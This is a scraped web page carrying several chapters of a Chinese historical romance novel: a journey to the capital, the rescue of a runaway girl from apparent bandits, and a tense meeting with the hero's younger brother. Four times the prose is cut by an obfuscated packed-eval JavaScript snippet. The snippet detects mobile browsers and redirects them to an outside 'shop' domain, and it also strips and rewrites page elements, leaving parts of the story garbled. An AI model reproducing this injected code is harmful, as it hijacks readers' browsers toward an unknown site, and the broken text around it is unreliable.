他另一只手伸进刘义秉衣襟掏出请柬，确定上面是自己的名字之后，将人用力往草堆一掷。 “嘭”地一下，溅起大片积尘。 金桐看着摔成烂泥的刘义秉，绽出一个舒畅的笑容，她感叹：“刘公子若是聪明人，下次见了我该绕路走。” 刘义秉被摔得天昏地转，嘴被封住叫不出痛，只能从嗓子里挤出几声细如蚊蚋的哼哼声。 “别在这折腾。”周与棠用帕子掩住口鼻，“人交给你了，带走之后随你怎么处置。” 许大勇对他们拱手道谢，两只手叠在一起像沙包一般。 青苗领着他从后门进来的，他拎着刘义秉按照来时的路离开。 王盛宣比了比自己的拳头，啧啧道：“许大勇一拳下去，也不知道刘义秉受不受得住。” 金桐道：“那便是他们的事了。” 王盛宣敬畏地看着周与棠：“唯女子与小人……” 周与棠甩给他一记眼刀。 王盛宣立刻改口：“我是说，好一招借刀杀人。” 金桐道：“不过是他自作自受罢了。” 周与棠嬉笑地挽住好友，十分赞同：“金桐说得对。我们帮许大勇找到了请柬，他还要谢谢我们呢！” 金桐道：“事情既已解决，我们就先告辞了。” 周与棠点头，道：“也好，你的脚需要静养。” 一行人出了正门，金家和王家的马车已经等候多时。 青苗和周与棠前拥后簇，把金桐护得严密，苏礼明一直没机会靠近。 但他的视线始终未离开过她。 金桐安安稳稳地登上了马车，在车窗和周与棠说话，苏礼明这才转过头，上了王家的马车。 周与棠嘴上和金桐告别，眼睛却滴溜溜注意着苏礼明。 看到苏礼明上车，周与棠忽然对金桐挤了挤眼睛，笑得高深莫测。 她勾勾手指，道：“耳朵凑过来，我告诉你一个秘密。” 金桐照做，只听见周与棠用气声说道：“苏公子对你有意思。” 金桐一惊，抿起嘴唇摇摇头。 周与棠往后一步，也摇摇头，直道：“当局者迷啊，当局者迷。” 马车缓缓驶动，周与棠笑着挥手，而后转身进了大门。 几场春雨下过，已是半月后。 金桐坐在桌案前，手里把玩着一个瓷瓶。 经过一段时间的修养，她的脚已经好得差不多。 这多亏了吴嬷的精心照顾，以及苏礼明的药油。 药油已经用尽，只剩一个瓷瓶，便是她手中把玩的这个。 吴嬷道：“小姐，王公子和苏公子来了。” 金桐“嗯”了一声，把瓷瓶好好收进抽屉。 从赏花宴回来，王盛宣和苏礼明两个人照例每天来她这喝茶，坐够了就离开。 因腿脚不便，她未曾出现过。 现在她几乎痊愈，也该好好给苏礼明说句谢谢。 前厅，王盛宣手边摆着吃了一半的糕点果子。 一见金桐出来，他拍掉手上的残渣，道：“难得见你，已经大好了？” 金桐颔首，转而对苏礼明道：“多谢苏公子的药油。” 苏礼明举起茶杯，回道：“金桐小姐不必客气，权当茶水点心的报酬。” 他分得明切，金桐坦然受了，不觉得欠他人情。 拾一粒糕点放在嘴边，金桐忽然道：“过几日，我要去西京。” 消息突然，他们应该会对此感到惊异。 王盛宣惊喜道：“这么巧？刚好苏兄过几日也要去西京。” 惊倒是惊了，却不是金桐想象中的那样。 “苏公子也要去西京？” 苏礼明答：“正是。若金桐小姐不嫌弃，可与我一道通行，彼此也能有个照应。” 他说话总是这样面面俱到，让她无法拒绝。 若苏礼明说的是照顾她，那么她就可以直接回绝了，因为她不想欠他。 可偏偏苏礼明说的是彼此照应。 她能照应苏礼明什么呢？ “此事容我考虑考虑。”金桐道。 王盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868505|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣不解：“还有什么要考虑的？” 金桐抿了口糕点，一时没想到借口。 王盛宣当即就替她做了决定：“就按苏兄说的办吧。你一个姑娘家出门不安全，有苏兄在，能照顾你。” 金桐皱眉。 只是还不等她反驳，苏礼明便道：“金桐小姐聪慧过人，有她在，这趟旅程定会轻松很多。” 他这么说，金桐哪还有不同意的道理，也只能道：“那便这样定吧。” 王盛宣后知后觉问道：“怎么突然要去西京？之前没听你提起过，吴嬷知道吗？” 金桐道：“并非临时起意，吴嬷知道的。今日说起，是希望我不在颍川的时候，你们可以帮我照应府里。” 金桐已经把李艾宁和刘义秉的关系告诉了吴嬷，但关于他们的计划，她却没说。 提醒吴嬷小心他们两个人的目的已经达到，再多说什么也不过是惹吴嬷伤心而已。 青苗也已经被她特意叮嘱过。 她现在只盼春闱。 之后吴嬷就会按照之前对她许诺那样，和刘义秉划清界限。 在此期间，只要不出纰漏就好。 王盛宣拍胸脯保证：“放心交给我。” 交给他，金桐还真就不是十分放心。 但事到如今，也只能如此了。 王盛宣问金桐：“你什么表情？” 金桐道：“没什么，只是有些心疼你，苏兄去了西京，你该多无聊。” 除了“心疼”两个字，别的全被王盛宣左耳进右耳出了。 他小声哼道：“你还知道心疼我呀？” 金桐问：“你说什么？” 王盛宣答：“没什么。” 金桐想了想，觉得有必要提醒他：“让你照看，主要小心……” “刘义秉和李艾宁是吧。”王盛宣抢先一步说出来。 金桐瞧了瞧苏礼明，问：“你指点过？” 王盛宣不服气，“少瞧不起人。” 毕竟还要求人帮忙，金桐连哄带骗：“绝对没有瞧不起你，从小我就觉得你聪明异于常人。” 王盛宣道：“这话中听。” “你们走了，我就搬进来，吃在金府住在金府。”王盛宣欢欢喜喜道。 金桐扶额：“倒也不必如此。” “我早就觉得金桐这边比我家舒坦了，人少有人少的好处，清净。”王盛宣自说自话道，“你们什么时候出发？明日如何？” 金桐打断他的异想天开：“你先别急，听我说完。” 王盛宣道：“你说。” “帮我盯住吴嬷的吃穿用度，凡是刘义秉送来的东西，丢掉就好，这点我也已经和吴嬷讲过。” 王盛宣反应快，“你怕刘义秉下毒？” 金桐道：“小心一点没错处。” 王盛宣点头，又问道：“若是人来呢？” 金桐斜眼看他：“还用我教你？” 王盛宣心领神会：“打出去！” “聪明。”金桐夸他。 三人聊了一阵，已近正午，不免腹中饥饿，商量着中午吃什么。 “听说东丰楼前几日上了新菜色，我还没去尝过。”王盛宣道，“择日不如撞日，中午我们去东丰楼吃，就当给你们俩践行。” 苏礼明觉得好。 “我受王兄和金桐小姐诸多照顾，那便由我做东。”苏礼明笑如春风，对金桐问道，“小姐可愿赏脸？” 9. 巧遇 层叠岭有一羊肠小道，一队镖师压着重货经过。 一群五大三粗的男子中，混着一个沉默的姑娘。 那姑娘一身水青色长裙，个头高挑，瓜子脸，细长眉眼，右下眼角一颗小痣，双臂环抱着一个包裹，沉默地跟在镖师队伍的后面。 正是沈夫子在寻的女儿，沈知之。 与金桐料想有异，沈知之并未去车马行，因此他们最后也未能寻到她。 杨家与沈家交换了庚帖，月后便要迎娶沈知之进门。 她根本没有时间为自己的离开做出万全的准备。 每一刻于她而言都弥足珍贵。 清早与父亲母亲打过招呼，她离了家，特意绕路走了人迹罕至的小道，直接出了城门。 这是得之不易的逃跑机会，这个家她一刻钟都不想多留。 她要去西京，她一定要去西京。 就算死，她也要死在去往西京的路上，而不是成亲的花轿上。 沈知之掂了掂水袋，里面的水只剩不到一半，路程却还剩一半多。 她太急着离开，水粮未准备齐全。 她带上了这些年做工攒下的全部银两，以备不时之需。原想着缺了什么可以在路上买，不想是自己太天真。 这几日走的全是山路，莫说没一个花钱的地方。就算有，她作为一个孤身的女子，也不敢轻易将钱财暴露在外。 她已经近一日未曾进食进水，嘴唇因为长久的干渴龟裂起皮。 紧了紧怀中的包裹，沈知之徒劳地舔了舔嘴唇。 行镖队伍中的一个的年轻少年留意到沈知之速度慢了下来，对领头人道：“头儿，那人要跟不上了。” 他们这一行人早知道沈知之一路尾随，却未曾过问。 一个看起来风吹就倒的小姑娘，对他们这群粗壮的男人构不成威胁。 他们心里有数，以一种沈知之刚好能跟得上的速度行进，却也没刻意等她。 沈知之脚下虚浮，饿到眼冒金星。她本就瘦弱，又经过长距离的跋涉，身体已经快到极限。 眼瞧队伍越来越远，沈知之心头着急，腿脚却使不上劲。 她咬牙紧跟了几步，便一头朝前栽去，意识不可控制地堕入了无边黑暗。 马车里，金桐又一觉睡醒，缓缓睁开眼，见苏礼明在对面含笑看着自己。 这是他们出发的第三日，这样的戏码每日都要上演几遍。 在此之前，金桐从来不知自己一日竟能睡过大半的时间去。 正了正睡得歪斜的身体，金桐揉了揉眼睛。 舟车劳顿使她顾不得什么体面与大防，况且苏礼明心怀坦荡，她若太拘小节，反而落了下乘。 弯了弯眉眼，金桐面上看不出丝毫不好意思。 “我又醒了。” “我知晓。”苏礼明递出早就准备好的水袋，“散散汗，等到了前面再下车醒神，免得受风。” 金桐点头，接过水袋喝了两口，递还回去。 连续数天的日夜相处，金桐深觉之前对苏礼明多有偏见。 只因苏礼明与王盛宣走得近，她便先入为主，当苏礼明也是放浪形骸的纨绔之辈。 相谈过后，她才发现苏礼明见闻广泛，风度不凡。 骨子里的教养做不得假。 金桐为自己之前的“人情论”深觉羞愧，由衷对苏礼明道：“这一路上多亏苏公子。” 苏礼明打开另一水袋饮了下一口，如此简单的动作，他做来却格外倜傥，让人赏心悦目。 “举手之劳，不必挂怀。况且吴嬷和王兄昔日对我诸多照顾，他们所求，我自当尽心达成。” 这话令金桐忆起分别那日。 吴嬷、青苗和周与棠三人流着泪送她，这在她意料之中。 令她没想到的是，整日没心没肺的王盛宣，竟也当众面红了眼眶。 他攥着苏礼明的手，一遍遍嘱托苏礼明照顾好她。苏礼明回握住王盛宣的手，不厌其烦地答应着。 不知这两个人截然相反的人是如何成为好友的。 金桐这样想着，便也这样问了。 苏礼明面上仍笑着，眼神却好像透过她看向了更远处。 “截然相反吗？”他反问道，不需要金桐回答，他便自顾自说了下去，“我与王兄，实则是很相像的。” 金桐屏住呼吸，对于苏礼明接下来要说的话感到紧张和兴奋。 她对苏礼明可谓是一无所知，王盛宣想来比她也不遑多让。 苏礼明仿佛是凭空出现的。 还记得苏礼明初次来访，吴嬷问及家事，他避而不谈。 赏花宴上，他也仿佛游离于人群之外。与苏礼明相关的，除了王盛宣，金桐一时想不出第二个人。 还有芍药园里苏礼明拉起她的那只手。 金桐的目光，从苏礼明的虎口，扫向他身边通体乌黑的佩剑。 这个人身上的秘密，实在太多了。 她的反应尽数落入苏礼明眼中。 她掩饰不住的期待让苏礼明阴郁的情绪散了不少，取而代之的是隐秘的愉悦。 “此行顺利，不消十日便可抵达西京。”苏礼明故意转了话题。 “啊，”金桐愣住，不走心地回了句，“那很好。” 嘴上说着好，语气和表情看不出一点儿好。 她无声叹了口气，掩饰心下失望。 “金桐小姐似乎情绪不高？” 金桐直觉这人在故意使坏，却没证据，只恹恹地看向车窗外。 半晌，苏礼明道：“金桐小姐想知道什么，尽管相问，我当知无不言。” 现在金桐有证据了，苏礼明就是故意的，她咬了咬后槽牙，恨声道：“我没什么想知道的。” 苏礼明点到为止，并不是真的想惹恼了她。 “初见时，王兄在独自喝闷酒。” 金桐表示难以想象。 “那时我刚离家，亦是心中苦闷，便与王兄拼了个桌。王兄对我倾诉苦水，我仿佛觉得他连我的那一份怨怼也一同说了。我也是家中长子，下面有一个弟弟，”苏礼明顿了顿，委婉道，“很有野心。” 难怪他说自己与王盛宣相像，看来是处境相似了，苏礼明的弟弟想必也非善茬。 金桐点头以示了然。 苏礼明继续道：“我家的情况，比王兄家还复杂些。本次前去西京，其实是父母召我回去。” 金桐感慨：“你想当甩手掌柜，却是不成了。” “也许吧。” 苏礼明深叹口气，语气颇有些意味深长。 看来又到了不能说的环节。 金桐心领神会，亦不再问。 不多时，马车停下，车夫的声音自外传来：“公子，小姐，下来透透风吧。” 这车夫是苏礼明亲自挑选的，为人话少，技术又好。多亏他车架得稳，金桐才能睡得稳。 苏礼明率先下去，帮金桐撩开帘子。 金桐踩着马凳下来，顿感筋骨舒畅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868507|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>车夫提醒他们：“方才我瞧左边有条小溪，二位不急的话可往那儿去，水边清凉，再遇上不知是什么时候了。” 一听有水，金桐双目放光，岂有不去的道理。 她对苏礼明发出邀请：“苏公子可愿同往？” 苏礼明答：“小姐相约，不敢拒绝。” 他二人煞有介事地一问一答，看得车夫直抿嘴笑。 金桐自己闹了个红脸，故作镇定走开了。 苏礼明对车夫道：“辛苦您等我们一会儿。” 车夫善意催他：“公子快去吧。” 溪边果然如车夫所言，清凉非常。 金桐张开双臂，感受着流水哗啦啦滚过溪石，聆听来自林中的幽幽鸟鸣。 苏礼明与她并排立着，亦叹道：“是个好所在。” “见多了人工斧凿，才更偏爱山野趣味，”金桐蹲下，掬捧水扑在脸上，唤苏礼明道，“很凉快，你也来试试。” 金桐眉毛与睫毛上挂着水珠，眼睛仿佛也被水洗过一样洁净。 明明是未施粉黛的一张脸，苏礼明却觉得比以往见过的任何一位女子都要美。 苏礼明不是会被情绪轻易左右的人，这会儿却也不禁想：此生再难遇见这样的人了。 他蹲下，学着金桐的样子，拘水扑在脸上。 简单的一个动作，却是从未有过的新奇体验。 溪水冷冽，心却滚烫。 “感觉不错吧？”金桐递出自己的手帕。 苏礼明将抬手制止，道：“不必，这样就很好。” 一滴水顺着金桐的侧脸滑落，她收起帕子，开怀道：“我也觉得。” 二人一前一后往下游走。 苏礼明情绪晦灭。金桐则心情悠扬，步履欢快。 自从离开颍川，她好像卸下了沉重的担子，风餐露宿都影响不了她欢欣雀跃。 苏礼明对着金桐的背影问道：“你快活吗？” 金桐脚步不停，“当然。你不快活吗？” 苏礼明驻足，摇头。 金桐不再往前走，回望他：“为什么？” 为什么不快活？ 苏礼明也在问自己。 多年以来，他数次离家，又数次被召回。 对此他早就习以为常，心无波澜了。 这次回京之路，欢喜几分，怅惘几分。 这些往复的情绪，纠纠缠缠，最后都指向眼前之人。 为什么呢？ 他在羡慕她。 苏礼明半晌未答，金桐当又是什么不可说之事，摆摆手道：“人活一世，不快活总比快活多。若为尚未发生之事忧心忡忡，乞不辜负这世间美景。” 她侧身而立，湿润的林风卷起她的裙角。 苏礼明眸光微动，阴霾的心仿佛被温柔的日光撞破，一发不可收拾。 他勾唇而笑：“金桐小姐言之有理。” 二人继续沿溪边走了一段，只见对面来了一队人马，吵吵嚷嚷。 金桐谨慎地与苏礼明对视一眼。 为首之人是个黑皮汉子，身材孔武有力，牵着匹与之相配的高头大马。 背上横趴着一个人，看着装样式，是位女子。 那黑皮汉子一脸正气地对他们抱拳，算是打过招呼，接着便对身后一抬手。 十余人一窝蜂地涌到溪边，解下腰间的牛皮水袋装水。 马背上的女子始终一动未动。 金桐眉头蹙起，问苏礼明：“这不对吧？” 10. 向西 灌满水袋，又给马儿喂了些干草，镖师一行就地开始休息。 队里的年轻少年贴着黑皮汉子坐下，下巴朝马背上的沈知之扬了扬，问道：“头儿，怎么处置？” 黑皮汉子头扯下一口饼子，干得发韧。打开水袋猛灌一口，清凉的溪水冲破喉间滞涩，黑皮汉子不答，只提醒他：“先吃东西。” 少年向来为老大马首是瞻，闻言从怀里掏出个饼子，大口咬了下去，嘴里鼓鼓囊囊塞了一团。 连嚼 数十下，嘴里的东西也咽不下。鼻中呼出一口气，他挪了下位置，上半身往后倾去，靠着树，目光恰好落在对岸并肩而立的金桐与苏礼明身上。 他咧嘴一笑：“头儿，那二位一看就不是寻常百姓，我猜啊，是私奔出来的书生小姐。” 黑皮汉子拧着眉，不赞同道：“别乱说。” “说书的都是这么讲的。”少年得了没趣，扁了扁嘴，扭过身去专心和手里的饼作斗争。 黑皮汉子又咬下一大口饼，用力嚼了几下，眼神在沈知之与金桐之间游走，心中有了盘算。 那二人看得金桐心底发毛。 出发之前，她便打听过路况，听闻江南有水患，林间不太平，横空出世一窝山匪，常伪装成镖行，专门劫掠逃难的车马。 她怀疑自己撞了个正着。 转念又一想，他们特意研究过山匪行进路线，有意避开，应当不会遇上，也许那只是寻常的镖行。 只是…… 对于马背上那名女子，金桐很难给出合理的解释说服自己。 多一事不如少一事，当下最好的选择便是回转至马车，以最快的速度离开此处。 可她今日若当真置之不理，恐怕日后再难心安。 天人交战之际，却听苏礼明扬声问对岸：“诸位可需帮忙？” 金桐本就紧张，苏礼明这一句话几乎令金桐汗毛竖立。 “我瞧马背上那位小姐，貌似不大好。”苏礼明又道。 金桐心思飞转，估量着若对方发难，他们该如何脱身。 溪面不过两丈宽，溪水清且浅。 莫说一群粗壮汉子，既便是女子，只要不怕沾湿鞋袜，也能轻易渡过。 此刻苏礼明的佩剑未带在身上，金桐尚不知他功夫深浅。 即便知道，对面人数众多，他赤手空拳恐怕也难应对。 金桐心乱如麻，不明白他为何如此。 身随意动，脚下不自觉往他身旁蹭了两步，下意识地扯住他的袖子。 苏礼明垂眸看扯住自己的莹白指指尖，唇角不自觉上扬，声音亦染上了他自己都未察觉的温柔：“别怕。” 金桐本是又些心慌意乱的，听到这两个字，竟奇异地安定了。 苏礼明从来不是鲁莽无谋之人。 只听他道：“在下西京苏家长子苏礼明，旁边这位是我妹妹。我兄妹二人随祖父去往别庄避暑，途径此地，专门下车赏玩。我家马车就在不远处，随行备了许多药物，若有需要，我二人可去取来。” 这一番话听起来平静无波，实则却是连敲带打。 一是表明身份。苏礼明自称随长辈去别庄。既有大家族的长辈在场，出门必然带足了侍卫奴仆，便是硬碰，对方未必能讨得着好。 二是暗中警示。西京苏家，听起来实在像是招惹不起的门户。山匪作恶并非百无禁忌，有山匪惊扰贵人车马，不日便被剿灭一空的先例在前，对于京中大户，若非必要，不去招惹。 山匪不傻，并非谁人都可随意将其蒙骗过去，谎话拆穿，只会落得更惨烈的下场。 不过，他二人举止气度本就不俗，倒也符合上面那番说辞。 这倒是金桐想多了。 对面是不是真正的镖师，苏礼明一眼便知。 但即便遇到的是正规镖行，也不可不防，因而他有此言论。 左右苏礼明已将话说开，事已至此，金桐便大胆试探。 “正如我兄长所言，”她与苏礼明对视过，担忧地望向沈知之，“小姐若有不适，万望不要客气。” 他二人虽想法不一，却默契十足，一唱一和地施压。 却是正中对方下怀。 从遇见他们那一刻起，黑皮汉子便在心底谋划着如何把人甩给他们。 少年闻言，凑近了道：“头儿，我看不如把人扔过去算了，对面是大家业，总不至于让她饿死。” 他本是随口一说，却没想黑皮汉子一口答应了。 “按你说的做。” 少年没反应过来：“啊？” 黑皮汉子站起身，往溪边迈了几步，朝苏礼明抱拳，却是冲着金桐喊话：“不瞒小姐，我与马上的姑娘素不相识，见其晕倒在半路，随手相帮。如小姐所见，我们干的是风餐露宿的行当。身上既无药材，也无多余粮水，实在顾不上她。小姐菩萨心肠，若不嫌弃，就收了她在身边使唤。” 金桐意外，若能将人要来，她自是乐意。 “若大哥信得过，便将人交与我们。”金桐自觉以恶意揣测人家，心生愧意，连称呼都变了，“不过，使唤却不敢当，对这位小姐，我兄妹二人自当以礼待之。” 黑皮汉子再次抱拳，郑重道谢。 他走到马匹旁，拍了拍沈知之肩膀，沈知之依旧没什么反应。 大部队已经在此处歇了不短时间，他不想再耽搁，索性长臂一展将人抱了下来。 周围人道：“头儿，咱们绕路过去？” “不必。”黑皮汉子答道，径直往对岸走去。 溪水浸没脚背，又没过膝盖，是刺入骨缝的凉。 行过半途，他掂了掂怀中之人，便又抬腿，却感觉怀中之人有了动作。 低头看，沈知之已转醒，正仰着头看他。 “放我下来。” 沈知之的眼珠大而黑，仿佛能将人吸进去一般。 溪水冷，沈知之的眼神却比之更加冰冷。 那不像是少女的眼神，其中掺杂了太多他看不懂的情绪。 “放我下来。” 沈知之又说了一遍，声音低哑，却比之前句更加坚决。 只一句话便饱含了她翻山越岭的狠意和孤注一掷的决绝。 黑皮汉子不理会，又继续往对岸走去。沈知之剧烈地挣扎起来，手握成拳锤打着黑皮汉子的胸膛，又喊又叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868508|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她本就瘦弱，现在更是虚弱，连叫嚷声都有气无力，拳头更是绵软地好像棉花。 黑皮汉子置若罔闻，自顾自走向对岸。 上了岸，他便如沈知之所言，将她放了下来。 长时间没有行走使沈知之双腿无力，一沾地，她便不受控制地倒向一旁。 金桐眼疾手快地接住她，发觉她竟轻得仿佛一片羽毛。 人已送到，黑皮汉子不多逗留，沉默地蹚着水往回去。 沈知之倚着金桐，良久地看向他的背影。 “我不会跟你们走，”她无力道，倔强地忍住哭腔，“请给我水和干粮。” 金桐道：“水和干粮俱在马车上。” 沈知之道：“我随你们去拿。” 金桐没有第一时间应答，她与苏礼明对视一眼，见苏礼明微不可察地点头。 “好。”金桐道。 沈知之离开她的肩膀，直起身体，回望对岸。 黑皮汉子尚未离开，并且也正看向她这边。 她留下深深的一眼，便转身没有留恋地往林中走去。 恰如苏礼明方才所言，他们的马车停得不远，否则真要担心沈知之的身子能否撑得住。 金桐上车取了糕点与沈知之。 沈知之饿急了，三两口将糕点吞下，又解开自己腰间的水袋，将仅存的小半袋水全部饮尽。 “慢些吃，别急，当心噎到。”金桐说着，又递出一盘糕点。 沈知之摆摆手，表示已经足够。 金桐翻出干粮和水袋，又找出周与棠特意用油纸包起来的桂花糖，规整地打好包裹。 沈知之道了谢，双手去接。 金桐没有撒手。 她缓缓抬头，无波古井的眼眸中流露出警惕与不解。 “别紧张。”金桐道，“马车尚有空余，你真的不同我们一起走吗？” 沈知之垂下眼睫，抗拒交流。 她固执答道：“不同路。” 面对沈知之的冷硬，金桐展现出十足的耐心：“你要去哪里？我们不赶时间，也可送你一程。别担心，我们绝无恶意。” 沈知之态度松动，却又坚定地拒绝了。 她早已习惯倚靠自己，她能倚靠的也唯有自己。 “不必麻烦，多谢你们。”手上用了些力气，沈知之强硬地夺过包裹。 见沈知之心意已决，金桐便不多说什么，只招呼苏礼明上来。 他们已经在此地耽误了一阵，是时候继续赶路了。 临行前，金桐又揭开帘子，递出一个荷包。 沈知之接过，里面是沉甸甸的银两。 她手足无措地要归还，金桐将其推了回去。 “好好收着。”金桐嘱托她，“到了有人烟处，自己去雇车马。” 马鞭高高扬起，抽打在车辕，马儿听到声响，习惯性地原地跺了几下马蹄。 车身缓缓驶动了，最终只留下两列深重的车辙印记。 沈知之遥望相送。 西京苏家，她记住了。 苏小姐，有缘还会相见的。 如果她能活着到西京的话。 11. 入京 一场大雨冲刷掉万事万物存在的痕迹。 大雨之后，路途风平浪静，无事发生。 他们就这样顺利抵达了西京。 过了正午，天方转晴。 通过城门，行入闹市，耳畔渐有嘈杂人声，金桐晕乎乎地睁开眼。 苏礼明道：“醒了？” 金桐揭开帘子，开怀道：“好热闹。” 前世今生，这是她第一次来到西京。 西京不愧为一朝都城，繁华得不似人间境地，她虽醒着，却有着一种如梦的眩晕。 路过一个卖糖葫芦的摊贩，金桐口中不自觉地分泌出唾液，下意识咽了口口水。 苏礼明瞄了眼窗外，对车夫道：“前面杏花楼停下便好。” 金桐不与他客气，直言道：“既然来到你的地盘，便全听你做主。” 道了地方，给车夫结清银两，她方有了人在西京的实感。 仰望眼前的杏花楼，气派非常。 苏礼明侧身抬手：“请。” 金桐也不与他相让，率先进去了。 他们未去雅间，而是选择了二楼的栏杆旁。 从二楼往下看去，一楼正中是一个方方正正的舞台，想来晚上应有歌舞杂耍之类的演出。 四处打量了一阵，点的菜便陆续上来了。 面对满桌珍馐，金桐迫不及待拾起筷子。 “我就不与你客气了。” 苏礼明笑道：“自便就好。” 金桐之前不是贪口腹之欲的人，但连着吃着十来天的糕点干粮，任谁也遭不住。 肉的咸香，菜的鲜香争先恐后往鼻子里钻。 金桐食指大动，率先对冰糖肘子动了手。 叨了一筷头肘子皮，又顺了一块儿肘子肉，见苏礼明始终未动，连忙招呼他：“怎的不吃？” 苏礼明闻言举箸开动。 不知是因为许久没吃过热乎饭菜，还是这桌子菜点得实在合胃口，金桐比平日多添了半碗饭。 放下了筷子，金桐还眼巴巴望着已经冷掉的剩菜，恨自己肚子不够大，不能把它们全部容纳其中。 小二端上一个白瓷盘。 “陈皮山楂卷，请二位品尝。” 山楂卷叠成小山，光是紫红的色泽就足以让人胃口大开，金桐顿觉腹中饱胀的感觉消了不少。 只是小二并未直接将盛着白瓷盘的山楂卷放在桌上，而是转向金桐，盘子朝她眼前推了一推。 “劳烦小姐搭把手。” 这人有意思，竟叫食客帮忙。 金桐这样想着，却也伸出双手去端了盘子，小二则顺势撤手。 定睛一看，那盛着山楂卷的白瓷盘仍稳稳当当在小儿手中，金桐拿到的手一个相似的空盘。 这倒有些像她曾在街头瞧过的变戏法。 金桐被勾起兴趣，不服输地又去够小二手中的盘子。小二不躲，任她抓去，还顺手抽走了她放在桌上的盘子。 金桐以为得手，不想小二胳膊一抬，她手中又是一个空盘。 金桐反应迅速，一手持盘，另一手迅速捏了个山楂卷送入口中。 盛着山楂卷的盘子终于搁在了桌上，小二露出一个讨饶的笑：“小姐勿怪。” 他鞠了一躬，退下了。 苏礼明在旁解释道：“这是杏花楼的招牌节目，有人专门为此而来，却并非每次都能遇上。” 金桐道：“若有人不喜，岂不因此坏了生意？” 苏礼明答：“小二以‘搭把手’作为暗号，食客不愿参加，只需坐着不动，小二自会照常上菜。” “竟是这样。”金桐拍手称妙，“属实有趣。” 见她感兴趣，苏礼明顺势说了不少西京可去之地，二人相约日后同游。 坐谈之际，楼梯上一群人高声谈笑上了二楼。 他们落座位置正对着楼梯口，金桐闻声便侧头去看，一群锦衣华服的少年簇拥而来。 只是当中一人，瞧见他们，瞬间敛色收声。 因着那位少年的瞬时安静，同行之人的谈笑也戛然而止，相望间竟显出几分诡异。 那少年正了神色，又正了衣襟，几步过来，在桌边桌停下，对着苏礼明恭声唤道：“兄长。” 打这群人出现开始，苏礼明未施舍一个眼神。 方还意气风发的少年郎，此时像个做错事的孩子，乖顺立着，低声唤他兄长。 苏礼明“嗯”了一声，又转头去看堵在楼梯口挤如鹌鹑的少年们。 他不甚热络，甚至算得上疏离冷漠。 印象中苏礼明几乎从未有过如此外显的拒人千里之外的情绪。 苏礼明的这位弟弟，金桐曾听他提起过，还记得苏礼明当时评价他很有野心。 金桐悄声打量了一番。 有野心？实在不像。 少年不满苏礼明良久沉默，又委委屈屈叫了声哥。 有人看不得朋友受冷遇，便是害怕，也要出头。 “景明喊你，你不理他，哪有这样做兄长的？” “是我的错。”对方话音方落，苏景明便抢着替兄长开脱，“兄长关心我，不喜我玩物丧志。今日实在对不住诸位，请就此散去吧，我与兄长久别重逢，有很多话要说。” 金桐几乎忍不住要给苏景明鼓掌，一句玩物丧志，倒将在场所有人都骂进去了。 此刻她才相信，诚如苏礼明所言，他这位弟弟算不上良善角色。 苏景明既如此说，少年们唉声叹气，口中不耐道：“走咯走咯。” 似是故意说与谁听。 人散了去，落得清净，苏景明也不再是刚才一副受气包的模样，随手扯开一把椅子，在他们这桌坐了下来。 “兄长，什么时候回来的，怎么不和我说一声？” 任他说什么做什么，苏礼明皆目无旁人，视之如尘。 金桐看着苏景明这一出戏，变脸如翻书，可比小二方才的戏法精彩多了，她直想拍案叫绝。 只是看着苏礼明，不免心生同情。 无人理自己，苏景明也不在意，眼神扫视一圈，对满桌残羹冷炙露出嫌弃的神色。 见金桐身前的山楂卷还算规整，他便伸手要拿。 苏礼明拾起筷子，对着他的手抽了下去。 “啪。” “嘶。”苏景明白净的手背浮现出一道刺目红痕。 他不在意地甩了两下，指着金桐问道：“哥，这位姐姐面生，不打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868509|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算介绍一下？” 苏礼明放下手中的筷子，道：“把你的手指收起来。” 苏景明无所谓地嗤笑一声，但到底照做了，他一切行为只是为了恶心他哥，可不想自己真的吃了亏。 他收了指头，用手掌拖着下巴，歪头直勾勾看着金桐。 在他炙热的目光下，金桐半分羞意也无，只是想笑。 她坦诚回视他，苏礼明长得好，苏景明自然也不差。 